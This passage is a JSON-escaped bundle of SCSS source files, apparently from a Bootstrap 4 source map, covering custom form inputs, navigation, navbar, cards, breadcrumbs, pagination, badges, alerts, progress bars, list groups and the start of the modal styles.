background-color: $custom-select-disabled-bg;\n  }\n\n  // Hides the default caret in IE11\n  &::-ms-expand {\n    opacity: 0;\n  }\n}\n\n.custom-select-sm {\n  height: $custom-select-height-sm;\n  padding-top: $custom-select-padding-y;\n  padding-bottom: $custom-select-padding-y;\n  font-size: $custom-select-font-size-sm;\n}\n\n.custom-select-lg {\n  height: $custom-select-height-lg;\n  padding-top: $custom-select-padding-y;\n  padding-bottom: $custom-select-padding-y;\n  font-size: $custom-select-font-size-lg;\n}\n\n\n// File\n//\n// Custom file input.\n\n.custom-file {\n  position: relative;\n  display: inline-block;\n  width: 100%;\n  height: $custom-file-height;\n  margin-bottom: 0;\n}\n\n.custom-file-input {\n  position: relative;\n  z-index: 2;\n  width: 100%;\n  height: $custom-file-height;\n  margin: 0;\n  opacity: 0;\n\n  &:focus ~ .custom-file-label {\n    border-color: $custom-file-focus-border-color;\n    box-shadow: $custom-file-focus-box-shadow;\n\n    &::after {\n      border-color: $custom-file-focus-border-color;\n    }\n  }\n\n  @each $lang, $value in $custom-file-text {\n    &:lang(#{$lang}) ~ .custom-file-label::after {\n      content: $value;\n    }\n  }\n}\n\n.custom-file-label {\n  position: absolute;\n  top: 0;\n  right: 0;\n  left: 0;\n  z-index: 1;\n  height: $custom-file-height;\n  padding: $custom-file-padding-y $custom-file-padding-x;\n  line-height: $custom-file-line-height;\n  color: $custom-file-color;\n  background-color: $custom-file-bg;\n  border: $custom-file-border-width solid $custom-file-border-color;\n  @include border-radius($custom-file-border-radius);\n  @include box-shadow($custom-file-box-shadow);\n\n  &::after {\n    position: absolute;\n    top: 0;\n    right: 0;\n    bottom: 0;\n    z-index: 3;\n    display: block;\n    height: calc(#{$custom-file-height} - #{$custom-file-border-width} * 2);\n    padding: $custom-file-padding-y $custom-file-padding-x;\n    line-height: $custom-file-line-height;\n    color: $custom-file-button-color;\n    content: \"Browse\";\n    @include gradient-bg($custom-file-button-bg);\n    border-left: $custom-file-border-width solid $custom-file-border-color;\n    @include border-radius(0 $custom-file-border-radius $custom-file-border-radius 0);\n  }\n}\n\n// Range\n//\n// Style range inputs the same across browsers. Vendor-specific rules for psuedo\n// elements cannot be mixed. As such, there are no shared styles for focus or\n// active states on prefixed selectors.\n\n.custom-range {\n  width: 100%;\n  padding-left: 0; // Firefox specific\n  background-color: transparent;\n  appearance: none;\n\n  &:focus {\n    outline: none;\n  }\n\n  &::-moz-focus-outer {\n    border: 0;\n  }\n\n  &::-webkit-slider-thumb {\n    width: $custom-range-thumb-width;\n    height: $custom-range-thumb-height;\n    margin-top: -($custom-range-thumb-width * .25); // Webkit specific?\n    @include gradient-bg($custom-range-thumb-bg);\n    border: $custom-range-thumb-border;\n    @include border-radius($custom-range-thumb-border-radius);\n    @include box-shadow($custom-range-thumb-box-shadow);\n    appearance: none;\n\n    &:focus {\n      outline: none;\n      box-shadow: $custom-range-thumb-focus-box-shadow; // No mixin for focus accessibility\n    }\n\n    &:active {\n      @include gradient-bg($custom-range-thumb-active-bg);\n    }\n  }\n\n  &::-webkit-slider-runnable-track {\n    width: $custom-range-track-width;\n    height: $custom-range-track-height;\n    color: transparent; // Why?\n    cursor: $custom-range-track-cursor;\n    background-color: $custom-range-track-bg;\n    border-color: transparent;\n    @include border-radius($custom-range-track-border-radius);\n    @include box-shadow($custom-range-track-box-shadow);\n  }\n\n  &::-moz-range-thumb {\n    width: $custom-range-thumb-width;\n    height: $custom-range-thumb-height;\n    @include gradient-bg($custom-range-thumb-bg);\n    border: $custom-range-thumb-border;\n    @include border-radius($custom-range-thumb-border-radius);\n    @include box-shadow($custom-range-thumb-box-shadow);\n    appearance: none;\n\n    &:focus {\n      outline: none;\n      box-shadow: $custom-range-thumb-focus-box-shadow; // No mixin for focus accessibility\n    }\n\n    &:active {\n      @include gradient-bg($custom-range-thumb-active-bg);\n    }\n  }\n\n  &::-moz-range-track {\n    width: $custom-range-track-width;\n    height: $custom-range-track-height;\n    color: transparent;\n    cursor: $custom-range-track-cursor;\n    background-color: $custom-range-track-bg;\n    border-color: transparent; // Firefox specific?\n    @include border-radius($custom-range-track-border-radius);\n    @include box-shadow($custom-range-track-box-shadow);\n  }\n\n  &::-ms-thumb {\n    width: $custom-range-thumb-width;\n    height: $custom-range-thumb-height;\n    @include gradient-bg($custom-range-thumb-bg);\n    border: $custom-range-thumb-border;\n    @include border-radius($custom-range-thumb-border-radius);\n    @include box-shadow($custom-range-thumb-box-shadow);\n    appearance: none;\n\n    &:focus {\n      outline: none;\n      box-shadow: $custom-range-thumb-focus-box-shadow; // No mixin for focus accessibility\n    }\n\n    &:active {\n      @include gradient-bg($custom-range-thumb-active-bg);\n    }\n  }\n\n  &::-ms-track {\n    width: $custom-range-track-width;\n    height: $custom-range-track-height;\n    color: transparent;\n    cursor: $custom-range-track-cursor;\n    background-color: transparent;\n    border-color: transparent;\n    border-width: ($custom-range-thumb-height * .5);\n    @include box-shadow($custom-range-track-box-shadow);\n  }\n\n  &::-ms-fill-lower {\n    background-color: $custom-range-track-bg;\n    @include border-radius($custom-range-track-border-radius);\n  }\n\n  &::-ms-fill-upper {\n    margin-right: 15px; // arbitrary?\n    background-color: $custom-range-track-bg;\n    @include border-radius($custom-range-track-border-radius);\n  }\n}\n","// Base class\n//\n// Kickstart any navigation component with a set of style resets. Works with\n// `<nav>`s or `<ul>`s.\n\n.nav {\n  display: flex;\n  flex-wrap: wrap;\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n\n.nav-link {\n  display: block;\n  padding: $nav-link-padding-y $nav-link-padding-x;\n\n  @include hover-focus {\n    text-decoration: none;\n  }\n\n  // Disabled state lightens text\n  &.disabled {\n    color: $nav-link-disabled-color;\n  }\n}\n\n//\n// Tabs\n//\n\n.nav-tabs {\n  border-bottom: $nav-tabs-border-width solid $nav-tabs-border-color;\n\n  .nav-item {\n    margin-bottom: -$nav-tabs-border-width;\n  }\n\n  .nav-link {\n    border: $nav-tabs-border-width solid transparent;\n    @include border-top-radius($nav-tabs-border-radius);\n\n    @include hover-focus {\n      border-color: $nav-tabs-link-hover-border-color;\n    }\n\n    &.disabled {\n      color: $nav-link-disabled-color;\n      background-color: transparent;\n      border-color: transparent;\n    }\n  }\n\n  .nav-link.active,\n  .nav-item.show .nav-link {\n    color: $nav-tabs-link-active-color;\n    background-color: $nav-tabs-link-active-bg;\n    border-color: $nav-tabs-link-active-border-color;\n  }\n\n  .dropdown-menu {\n    // Make dropdown border overlap tab border\n    margin-top: -$nav-tabs-border-width;\n    // Remove the top rounded corners here since there is a hard edge above the menu\n    @include border-top-radius(0);\n  }\n}\n\n\n//\n// Pills\n//\n\n.nav-pills {\n  .nav-link {\n    @include border-radius($nav-pills-border-radius);\n  }\n\n  .nav-link.active,\n  .show > .nav-link {\n    color: $nav-pills-link-active-color;\n    background-color: $nav-pills-link-active-bg;\n  }\n}\n\n\n//\n// Justified variants\n//\n\n.nav-fill {\n  .nav-item {\n    flex: 1 1 auto;\n    text-align: center;\n  }\n}\n\n.nav-justified {\n  .nav-item {\n    flex-basis: 0;\n    flex-grow: 1;\n    text-align: center;\n  }\n}\n\n\n// Tabbable tabs\n//\n// Hide tabbable panes to start, show them when `.active`\n\n.tab-content {\n  > .tab-pane {\n    display: none;\n  }\n  > .active {\n    display: block;\n  }\n}\n","// Contents\n//\n// Navbar\n// Navbar brand\n// Navbar nav\n// Navbar text\n// Navbar divider\n// Responsive navbar\n// Navbar position\n// Navbar themes\n\n\n// Navbar\n//\n// Provide a static navbar from which we expand to create full-width, fixed, and\n// other navbar variations.\n\n.navbar {\n  position: relative;\n  display: flex;\n  flex-wrap: wrap; // allow us to do the line break for collapsing content\n  align-items: center;\n  justify-content: space-between; // space out brand from logo\n  padding: $navbar-padding-y $navbar-padding-x;\n\n  // Because flex properties aren't inherited, we need to redeclare these first\n  // few properities so that content nested within behave properly.\n  > .container,\n  > .container-fluid {\n    display: flex;\n    flex-wrap: wrap;\n    align-items: center;\n    justify-content: space-between;\n  }\n}\n\n\n// Navbar brand\n//\n// Used for brand, project, or site names.\n\n.navbar-brand {\n  display: inline-block;\n  padding-top: $navbar-brand-padding-y;\n  padding-bottom: $navbar-brand-padding-y;\n  margin-right: $navbar-padding-x;\n  font-size: $navbar-brand-font-size;\n  line-height: inherit;\n  white-space: nowrap;\n\n  @include hover-focus {\n    text-decoration: none;\n  }\n}\n\n\n// Navbar nav\n//\n// Custom navbar navigation (doesn't require `.nav`, but does make use of `.nav-link`).\n\n.navbar-nav {\n  display: flex;\n  flex-direction: column; // cannot use `inherit` to get the `.navbar`s value\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n\n  .nav-link {\n    padding-right: 0;\n    padding-left: 0;\n  }\n\n  .dropdown-menu {\n    position: static;\n    float: none;\n  }\n}\n\n\n// Navbar text\n//\n//\n\n.navbar-text {\n  display: inline-block;\n  padding-top: $nav-link-padding-y;\n  padding-bottom: $nav-link-padding-y;\n}\n\n\n// Responsive navbar\n//\n// Custom styles for responsive collapsing and toggling of navbar contents.\n// Powered by the collapse Bootstrap JavaScript plugin.\n\n// When collapsed, prevent the toggleable navbar contents from appearing in\n// the default flexbox row orienation. Requires the use of `flex-wrap: wrap`\n// on the `.navbar` parent.\n.navbar-collapse {\n  flex-basis: 100%;\n  flex-grow: 1;\n  // For always expanded or extra full navbars, ensure content aligns itself\n  // properly vertically. Can be easily overridden with flex utilities.\n  align-items: center;\n}\n\n// Button for toggling the navbar when in its collapsed state\n.navbar-toggler {\n  padding: $navbar-toggler-padding-y $navbar-toggler-padding-x;\n  font-size: $navbar-toggler-font-size;\n  line-height: 1;\n  background-color: transparent; // remove default button style\n  border: $border-width solid transparent; // remove default button style\n  @include border-radius($navbar-toggler-border-radius);\n\n  @include hover-focus {\n    text-decoration: none;\n  }\n\n  // Opinionated: add \"hand\" cursor to non-disabled .navbar-toggler elements\n  &:not(:disabled):not(.disabled) {\n    cursor: pointer;\n  }\n}\n\n// Keep as a separate element so folks can easily override it with another icon\n// or image file as needed.\n.navbar-toggler-icon {\n  display: inline-block;\n  width: 1.5em;\n  height: 1.5em;\n  vertical-align: middle;\n  content: \"\";\n  background: no-repeat center center;\n  background-size: 100% 100%;\n}\n\n// Generate series of `.navbar-expand-*` responsive classes for configuring\n// where your navbar collapses.\n.navbar-expand {\n  @each $breakpoint in map-keys($grid-breakpoints) {\n    $next: breakpoint-next($breakpoint, $grid-breakpoints);\n    $infix: breakpoint-infix($next, $grid-breakpoints);\n\n    &#{$infix} {\n      @include media-breakpoint-down($breakpoint) {\n        > .container,\n        > .container-fluid {\n          padding-right: 0;\n          padding-left: 0;\n        }\n      }\n\n      @include media-breakpoint-up($next) {\n        flex-flow: row nowrap;\n        justify-content: flex-start;\n\n        .navbar-nav {\n          flex-direction: row;\n\n          .dropdown-menu {\n            position: absolute;\n          }\n\n          .nav-link {\n            padding-right: $navbar-nav-link-padding-x;\n            padding-left: $navbar-nav-link-padding-x;\n          }\n        }\n\n        // For nesting containers, have to redeclare for alignment purposes\n        > .container,\n        > .container-fluid {\n          flex-wrap: nowrap;\n        }\n\n        .navbar-collapse {\n          display: flex !important;  // stylelint-disable-line declaration-no-important\n\n          // Changes flex-bases to auto because of an IE10 bug\n          flex-basis: auto;\n        }\n\n        .navbar-toggler {\n          display: none;\n        }\n      }\n    }\n  }\n}\n\n\n// Navbar themes\n//\n// Styles for switching between navbars with light or dark background.\n\n// Dark links against a light background\n.navbar-light {\n  .navbar-brand {\n    color: $navbar-light-active-color;\n\n    @include hover-focus {\n      color: $navbar-light-active-color;\n    }\n  }\n\n  .navbar-nav {\n    .nav-link {\n      color: $navbar-light-color;\n\n      @include hover-focus {\n        color: $navbar-light-hover-color;\n      }\n\n      &.disabled {\n        color: $navbar-light-disabled-color;\n      }\n    }\n\n    .show > .nav-link,\n    .active > .nav-link,\n    .nav-link.show,\n    .nav-link.active {\n      color: $navbar-light-active-color;\n    }\n  }\n\n  .navbar-toggler {\n    color: $navbar-light-color;\n    border-color: $navbar-light-toggler-border-color;\n  }\n\n  .navbar-toggler-icon {\n    background-image: $navbar-light-toggler-icon-bg;\n  }\n\n  .navbar-text {\n    color: $navbar-light-color;\n    a {\n      color: $navbar-light-active-color;\n\n      @include hover-focus {\n        color: $navbar-light-active-color;\n      }\n    }\n  }\n}\n\n// White links against a dark background\n.navbar-dark {\n  .navbar-brand {\n    color: $navbar-dark-active-color;\n\n    @include hover-focus {\n      color: $navbar-dark-active-color;\n    }\n  }\n\n  .navbar-nav {\n    .nav-link {\n      color: $navbar-dark-color;\n\n      @include hover-focus {\n        color: $navbar-dark-hover-color;\n      }\n\n      &.disabled {\n        color: $navbar-dark-disabled-color;\n      }\n    }\n\n    .show > .nav-link,\n    .active > .nav-link,\n    .nav-link.show,\n    .nav-link.active {\n      color: $navbar-dark-active-color;\n    }\n  }\n\n  .navbar-toggler {\n    color: $navbar-dark-color;\n    border-color: $navbar-dark-toggler-border-color;\n  }\n\n  .navbar-toggler-icon {\n    background-image: $navbar-dark-toggler-icon-bg;\n  }\n\n  .navbar-text {\n    color: $navbar-dark-color;\n    a {\n      color: $navbar-dark-active-color;\n\n      @include hover-focus {\n        color: $navbar-dark-active-color;\n      }\n    }\n  }\n}\n","//\n// Base styles\n//\n\n.card {\n  position: relative;\n  display: flex;\n  flex-direction: column;\n  min-width: 0;\n  word-wrap: break-word;\n  background-color: $card-bg;\n  background-clip: border-box;\n  border: $card-border-width solid $card-border-color;\n  @include border-radius($card-border-radius);\n\n  > hr {\n    margin-right: 0;\n    margin-left: 0;\n  }\n\n  > .list-group:first-child {\n    .list-group-item:first-child {\n      @include border-top-radius($card-border-radius);\n    }\n  }\n\n  > .list-group:last-child {\n    .list-group-item:last-child {\n      @include border-bottom-radius($card-border-radius);\n    }\n  }\n}\n\n.card-body {\n  // Enable `flex-grow: 1` for decks and groups so that card blocks take up\n  // as much space as possible, ensuring footers are aligned to the bottom.\n  flex: 1 1 auto;\n  padding: $card-spacer-x;\n}\n\n.card-title {\n  margin-bottom: $card-spacer-y;\n}\n\n.card-subtitle {\n  margin-top: -($card-spacer-y / 2);\n  margin-bottom: 0;\n}\n\n.card-text:last-child {\n  margin-bottom: 0;\n}\n\n.card-link {\n  @include hover {\n    text-decoration: none;\n  }\n\n  + .card-link {\n    margin-left: $card-spacer-x;\n  }\n}\n\n//\n// Optional textual caps\n//\n\n.card-header {\n  padding: $card-spacer-y $card-spacer-x;\n  margin-bottom: 0; // Removes the default margin-bottom of <hN>\n  background-color: $card-cap-bg;\n  border-bottom: $card-border-width solid $card-border-color;\n\n  &:first-child {\n    @include border-radius($card-inner-border-radius $card-inner-border-radius 0 0);\n  }\n\n  + .list-group {\n    .list-group-item:first-child {\n      border-top: 0;\n    }\n  }\n}\n\n.card-footer {\n  padding: $card-spacer-y $card-spacer-x;\n  background-color: $card-cap-bg;\n  border-top: $card-border-width solid $card-border-color;\n\n  &:last-child {\n    @include border-radius(0 0 $card-inner-border-radius $card-inner-border-radius);\n  }\n}\n\n\n//\n// Header navs\n//\n\n.card-header-tabs {\n  margin-right: -($card-spacer-x / 2);\n  margin-bottom: -$card-spacer-y;\n  margin-left: -($card-spacer-x / 2);\n  border-bottom: 0;\n}\n\n.card-header-pills {\n  margin-right: -($card-spacer-x / 2);\n  margin-left: -($card-spacer-x / 2);\n}\n\n// Card image\n.card-img-overlay {\n  position: absolute;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  padding: $card-img-overlay-padding;\n}\n\n.card-img {\n  width: 100%; // Required because we use flexbox and this inherently applies align-self: stretch\n  @include border-radius($card-inner-border-radius);\n}\n\n// Card image caps\n.card-img-top {\n  width: 100%; // Required because we use flexbox and this inherently applies align-self: stretch\n  @include border-top-radius($card-inner-border-radius);\n}\n\n.card-img-bottom {\n  width: 100%; // Required because we use flexbox and this inherently applies align-self: stretch\n  @include border-bottom-radius($card-inner-border-radius);\n}\n\n\n// Card deck\n\n.card-deck {\n  display: flex;\n  flex-direction: column;\n\n  .card {\n    margin-bottom: $card-deck-margin;\n  }\n\n  @include media-breakpoint-up(sm) {\n    flex-flow: row wrap;\n    margin-right: -$card-deck-margin;\n    margin-left: -$card-deck-margin;\n\n    .card {\n      display: flex;\n      // Flexbugs #4: https://github.com/philipwalton/flexbugs#flexbug-4\n      flex: 1 0 0%;\n      flex-direction: column;\n      margin-right: $card-deck-margin;\n      margin-bottom: 0; // Override the default\n      margin-left: $card-deck-margin;\n    }\n  }\n}\n\n\n//\n// Card groups\n//\n\n.card-group {\n  display: flex;\n  flex-direction: column;\n\n  // The child selector allows nested `.card` within `.card-group`\n  // to display properly.\n  > .card {\n    margin-bottom: $card-group-margin;\n  }\n\n  @include media-breakpoint-up(sm) {\n    flex-flow: row wrap;\n    // The child selector allows nested `.card` within `.card-group`\n    // to display properly.\n    > .card {\n      // Flexbugs #4: https://github.com/philipwalton/flexbugs#flexbug-4\n      flex: 1 0 0%;\n      margin-bottom: 0;\n\n      + .card {\n        margin-left: 0;\n        border-left: 0;\n      }\n\n      // Handle rounded corners\n      @if $enable-rounded {\n        &:first-child {\n          @include border-right-radius(0);\n\n          .card-img-top,\n          .card-header {\n            border-top-right-radius: 0;\n          }\n          .card-img-bottom,\n          .card-footer {\n            border-bottom-right-radius: 0;\n          }\n        }\n\n        &:last-child {\n          @include border-left-radius(0);\n\n          .card-img-top,\n          .card-header {\n            border-top-left-radius: 0;\n          }\n          .card-img-bottom,\n          .card-footer {\n            border-bottom-left-radius: 0;\n          }\n        }\n\n        &:only-child {\n          @include border-radius($card-border-radius);\n\n          .card-img-top,\n          .card-header {\n            @include border-top-radius($card-border-radius);\n          }\n          .card-img-bottom,\n          .card-footer {\n            @include border-bottom-radius($card-border-radius);\n          }\n        }\n\n        &:not(:first-child):not(:last-child):not(:only-child) {\n          @include border-radius(0);\n\n          .card-img-top,\n          .card-img-bottom,\n          .card-header,\n          .card-footer {\n            @include border-radius(0);\n          }\n        }\n      }\n    }\n  }\n}\n\n\n//\n// Columns\n//\n\n.card-columns {\n  .card {\n    margin-bottom: $card-columns-margin;\n  }\n\n  @include media-breakpoint-up(sm) {\n    column-count: $card-columns-count;\n    column-gap: $card-columns-gap;\n    orphans: 1;\n    widows: 1;\n\n    .card {\n      display: inline-block; // Don't let them vertically span multiple columns\n      width: 100%; // Don't let their width change\n    }\n  }\n}\n\n\n//\n// Accordion\n//\n\n.accordion {\n  .card:not(:first-of-type):not(:last-of-type) {\n    border-bottom: 0;\n    border-radius: 0;\n  }\n\n  .card:not(:first-of-type) {\n    .card-header:first-child {\n      border-radius: 0;\n    }\n  }\n\n  .card:first-of-type {\n    border-bottom: 0;\n    border-bottom-right-radius: 0;\n    border-bottom-left-radius: 0;\n  }\n\n  .card:last-of-type {\n    border-top-left-radius: 0;\n    border-top-right-radius: 0;\n  }\n}\n",".breadcrumb {\n  display: flex;\n  flex-wrap: wrap;\n  padding: $breadcrumb-padding-y $breadcrumb-padding-x;\n  margin-bottom: $breadcrumb-margin-bottom;\n  list-style: none;\n  background-color: $breadcrumb-bg;\n  @include border-radius($breadcrumb-border-radius);\n}\n\n.breadcrumb-item {\n  // The separator between breadcrumbs (by default, a forward-slash: \"/\")\n  + .breadcrumb-item {\n    padding-left: $breadcrumb-item-padding;\n\n    &::before {\n      display: inline-block; // Suppress underlining of the separator in modern browsers\n      padding-right: $breadcrumb-item-padding;\n      color: $breadcrumb-divider-color;\n      content: $breadcrumb-divider;\n    }\n  }\n\n  // IE9-11 hack to properly handle hyperlink underlines for breadcrumbs built\n  // without `<ul>`s. The `::before` pseudo-element generates an element\n  // *within* the .breadcrumb-item and thereby inherits the `text-decoration`.\n  //\n  // To trick IE into suppressing the underline, we give the pseudo-element an\n  // underline and then immediately remove it.\n  + .breadcrumb-item:hover::before {\n    text-decoration: underline;\n  }\n  // stylelint-disable-next-line no-duplicate-selectors\n  + .breadcrumb-item:hover::before {\n    text-decoration: none;\n  }\n\n  &.active {\n    color: $breadcrumb-active-color;\n  }\n}\n",".pagination {\n  display: flex;\n  @include list-unstyled();\n  @include border-radius();\n}\n\n.page-link {\n  position: relative;\n  display: block;\n  padding: $pagination-padding-y $pagination-padding-x;\n  margin-left: -$pagination-border-width;\n  line-height: $pagination-line-height;\n  color: $pagination-color;\n  background-color: $pagination-bg;\n  border: $pagination-border-width solid $pagination-border-color;\n\n  &:hover {\n    z-index: 2;\n    color: $pagination-hover-color;\n    text-decoration: none;\n    background-color: $pagination-hover-bg;\n    border-color: $pagination-hover-border-color;\n  }\n\n  &:focus {\n    z-index: 2;\n    outline: $pagination-focus-outline;\n    box-shadow: $pagination-focus-box-shadow;\n  }\n\n  // Opinionated: add \"hand\" cursor to non-disabled .page-link elements\n  &:not(:disabled):not(.disabled) {\n    cursor: pointer;\n  }\n}\n\n.page-item {\n  &:first-child {\n    .page-link {\n      margin-left: 0;\n      @include border-left-radius($border-radius);\n    }\n  }\n  &:last-child {\n    .page-link {\n      @include border-right-radius($border-radius);\n    }\n  }\n\n  &.active .page-link {\n    z-index: 1;\n    color: $pagination-active-color;\n    background-color: $pagination-active-bg;\n    border-color: $pagination-active-border-color;\n  }\n\n  &.disabled .page-link {\n    color: $pagination-disabled-color;\n    pointer-events: none;\n    // Opinionated: remove the \"hand\" cursor set previously for .page-link\n    cursor: auto;\n    background-color: $pagination-disabled-bg;\n    border-color: $pagination-disabled-border-color;\n  }\n}\n\n\n//\n// Sizing\n//\n\n.pagination-lg {\n  @include pagination-size($pagination-padding-y-lg, $pagination-padding-x-lg, $font-size-lg, $line-height-lg, $border-radius-lg);\n}\n\n.pagination-sm {\n  @include pagination-size($pagination-padding-y-sm, $pagination-padding-x-sm, $font-size-sm, $line-height-sm, $border-radius-sm);\n}\n","// Pagination\n\n@mixin pagination-size($padding-y, $padding-x, $font-size, $line-height, $border-radius) {\n  .page-link {\n    padding: $padding-y $padding-x;\n    font-size: $font-size;\n    line-height: $line-height;\n  }\n\n  .page-item {\n    &:first-child {\n      .page-link {\n        @include border-left-radius($border-radius);\n      }\n    }\n    &:last-child {\n      .page-link {\n        @include border-right-radius($border-radius);\n      }\n    }\n  }\n}\n","// Base class\n//\n// Requires one of the contextual, color modifier classes for `color` and\n// `background-color`.\n\n.badge {\n  display: inline-block;\n  padding: $badge-padding-y $badge-padding-x;\n  font-size: $badge-font-size;\n  font-weight: $badge-font-weight;\n  line-height: 1;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  @include border-radius($badge-border-radius);\n\n  // Empty badges collapse automatically\n  &:empty {\n    display: none;\n  }\n}\n\n// Quick fix for badges in buttons\n.btn .badge {\n  position: relative;\n  top: -1px;\n}\n\n// Pill badges\n//\n// Make them extra rounded with a modifier to replace v3's badges.\n\n.badge-pill {\n  padding-right: $badge-pill-padding-x;\n  padding-left: $badge-pill-padding-x;\n  @include border-radius($badge-pill-border-radius);\n}\n\n// Colors\n//\n// Contextual variations (linked badges get darker on :hover).\n\n@each $color, $value in $theme-colors {\n  .badge-#{$color} {\n    @include badge-variant($value);\n  }\n}\n","@mixin badge-variant($bg) {\n  color: color-yiq($bg);\n  background-color: $bg;\n\n  &[href] {\n    @include hover-focus {\n      color: color-yiq($bg);\n      text-decoration: none;\n      background-color: darken($bg, 10%);\n    }\n  }\n}\n",".jumbotron {\n  padding: $jumbotron-padding ($jumbotron-padding / 2);\n  margin-bottom: $jumbotron-padding;\n  background-color: $jumbotron-bg;\n  @include border-radius($border-radius-lg);\n\n  @include media-breakpoint-up(sm) {\n    padding: ($jumbotron-padding * 2) $jumbotron-padding;\n  }\n}\n\n.jumbotron-fluid {\n  padding-right: 0;\n  padding-left: 0;\n  @include border-radius(0);\n}\n","//\n// Base styles\n//\n\n.alert {\n  position: relative;\n  padding: $alert-padding-y $alert-padding-x;\n  margin-bottom: $alert-margin-bottom;\n  border: $alert-border-width solid transparent;\n  @include border-radius($alert-border-radius);\n}\n\n// Headings for larger alerts\n.alert-heading {\n  // Specified to prevent conflicts of changing $headings-color\n  color: inherit;\n}\n\n// Provide class for links that match alerts\n.alert-link {\n  font-weight: $alert-link-font-weight;\n}\n\n\n// Dismissible alerts\n//\n// Expand the right padding and account for the close button's positioning.\n\n.alert-dismissible {\n  padding-right: ($close-font-size + $alert-padding-x * 2);\n\n  // Adjust close link position\n  .close {\n    position: absolute;\n    top: 0;\n    right: 0;\n    padding: $alert-padding-y $alert-padding-x;\n    color: inherit;\n  }\n}\n\n\n// Alternate styles\n//\n// Generate contextual modifier classes for colorizing the alert.\n\n@each $color, $value in $theme-colors {\n  .alert-#{$color} {\n    @include alert-variant(theme-color-level($color, $alert-bg-level), theme-color-level($color, $alert-border-level), theme-color-level($color, $alert-color-level));\n  }\n}\n","@mixin alert-variant($background, $border, $color) {\n  color: $color;\n  @include gradient-bg($background);\n  border-color: $border;\n\n  hr {\n    border-top-color: darken($border, 5%);\n  }\n\n  .alert-link {\n    color: darken($color, 10%);\n  }\n}\n","@keyframes progress-bar-stripes {\n  from { background-position: $progress-height 0; }\n  to { background-position: 0 0; }\n}\n\n.progress {\n  display: flex;\n  height: $progress-height;\n  overflow: hidden; // force rounded corners by cropping it\n  font-size: $progress-font-size;\n  background-color: $progress-bg;\n  @include border-radius($progress-border-radius);\n  @include box-shadow($progress-box-shadow);\n}\n\n.progress-bar {\n  display: flex;\n  flex-direction: column;\n  justify-content: center;\n  color: $progress-bar-color;\n  text-align: center;\n  white-space: nowrap;\n  background-color: $progress-bar-bg;\n  @include transition($progress-bar-transition);\n}\n\n.progress-bar-striped {\n  @include gradient-striped();\n  background-size: $progress-height $progress-height;\n}\n\n.progress-bar-animated {\n  animation: progress-bar-stripes $progress-bar-animation-timing;\n}\n",".media {\n  display: flex;\n  align-items: flex-start;\n}\n\n.media-body {\n  flex: 1;\n}\n","// Base class\n//\n// Easily usable on <ul>, <ol>, or <div>.\n\n.list-group {\n  display: flex;\n  flex-direction: column;\n\n  // No need to set list-style: none; since .list-group-item is block level\n  padding-left: 0; // reset padding because ul and ol\n  margin-bottom: 0;\n}\n\n\n// Interactive list items\n//\n// Use anchor or button elements instead of `li`s or `div`s to create interactive\n// list items. Includes an extra `.active` modifier class for selected items.\n\n.list-group-item-action {\n  width: 100%; // For `<button>`s (anchors become 100% by default though)\n  color: $list-group-action-color;\n  text-align: inherit; // For `<button>`s (anchors inherit)\n\n  // Hover state\n  @include hover-focus {\n    color: $list-group-action-hover-color;\n    text-decoration: none;\n    background-color: $list-group-hover-bg;\n  }\n\n  &:active {\n    color: $list-group-action-active-color;\n    background-color: $list-group-action-active-bg;\n  }\n}\n\n\n// Individual list items\n//\n// Use on `li`s or `div`s within the `.list-group` parent.\n\n.list-group-item {\n  position: relative;\n  display: block;\n  padding: $list-group-item-padding-y $list-group-item-padding-x;\n  // Place the border on the list items and negative margin up for better styling\n  margin-bottom: -$list-group-border-width;\n  background-color: $list-group-bg;\n  border: $list-group-border-width solid $list-group-border-color;\n\n  &:first-child {\n    @include border-top-radius($list-group-border-radius);\n  }\n\n  &:last-child {\n    margin-bottom: 0;\n    @include border-bottom-radius($list-group-border-radius);\n  }\n\n  @include hover-focus {\n    z-index: 1; // Place hover/active items above their siblings for proper border styling\n    text-decoration: none;\n  }\n\n  &.disabled,\n  &:disabled {\n    color: $list-group-disabled-color;\n    background-color: $list-group-disabled-bg;\n  }\n\n  // Include both here for `<a>`s and `<button>`s\n  &.active {\n    z-index: 2; // Place active items above their siblings for proper border styling\n    color: $list-group-active-color;\n    background-color: $list-group-active-bg;\n    border-color: $list-group-active-border-color;\n  }\n}\n\n\n// Flush list items\n//\n// Remove borders and border-radius to keep list group items edge-to-edge. Most\n// useful within other components (e.g., cards).\n\n.list-group-flush {\n  .list-group-item {\n    border-right: 0;\n    border-left: 0;\n    @include border-radius(0);\n  }\n\n  &:first-child {\n    .list-group-item:first-child {\n      border-top: 0;\n    }\n  }\n\n  &:last-child {\n    .list-group-item:last-child {\n      border-bottom: 0;\n    }\n  }\n}\n\n\n// Contextual variants\n//\n// Add modifier classes to change text and background color on individual items.\n// Organizationally, this must come after the `:hover` states.\n\n@each $color, $value in $theme-colors {\n  @include list-group-item-variant($color, theme-color-level($color, -9), theme-color-level($color, 6));\n}\n","// List Groups\n\n@mixin list-group-item-variant($state, $background, $color) {\n  .list-group-item-#{$state} {\n    color: $color;\n    background-color: $background;\n\n    &.list-group-item-action {\n      @include hover-focus {\n        color: $color;\n        background-color: darken($background, 5%);\n      }\n\n      &.active {\n        color: $white;\n        background-color: $color;\n        border-color: $color;\n      }\n    }\n  }\n}\n",".close {\n  float: right;\n  font-size: $close-font-size;\n  font-weight: $close-font-weight;\n  line-height: 1;\n  color: $close-color;\n  text-shadow: $close-text-shadow;\n  opacity: .5;\n\n  @include hover-focus {\n    color: $close-color;\n    text-decoration: none;\n    opacity: .75;\n  }\n\n  // Opinionated: add \"hand\" cursor to non-disabled .close elements\n  &:not(:disabled):not(.disabled) {\n    cursor: pointer;\n  }\n}\n\n// Additional properties for button version\n// iOS requires the button element instead of an anchor tag.\n// If you want the anchor version, it requires `href=\"#\"`.\n// See https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile\n\n// stylelint-disable property-no-vendor-prefix, selector-no-qualifying-type\nbutton.close {\n  padding: 0;\n  background-color: transparent;\n  border: 0;\n  -webkit-appearance: none;\n}\n// stylelint-enable\n","// .modal-open      - body class for killing the scroll\n// .modal           - container to scroll within\n// .modal-dialog    - positioning shell for the actual modal\n// .modal-content   - actual modal w/ bg and corners and stuff\n\n\n// Kill the scroll on the body\n.modal-open {\n  overflow: hidden;\n}\n\n// Container that the modal scrolls within\n.modal {\n  position: fixed;\n 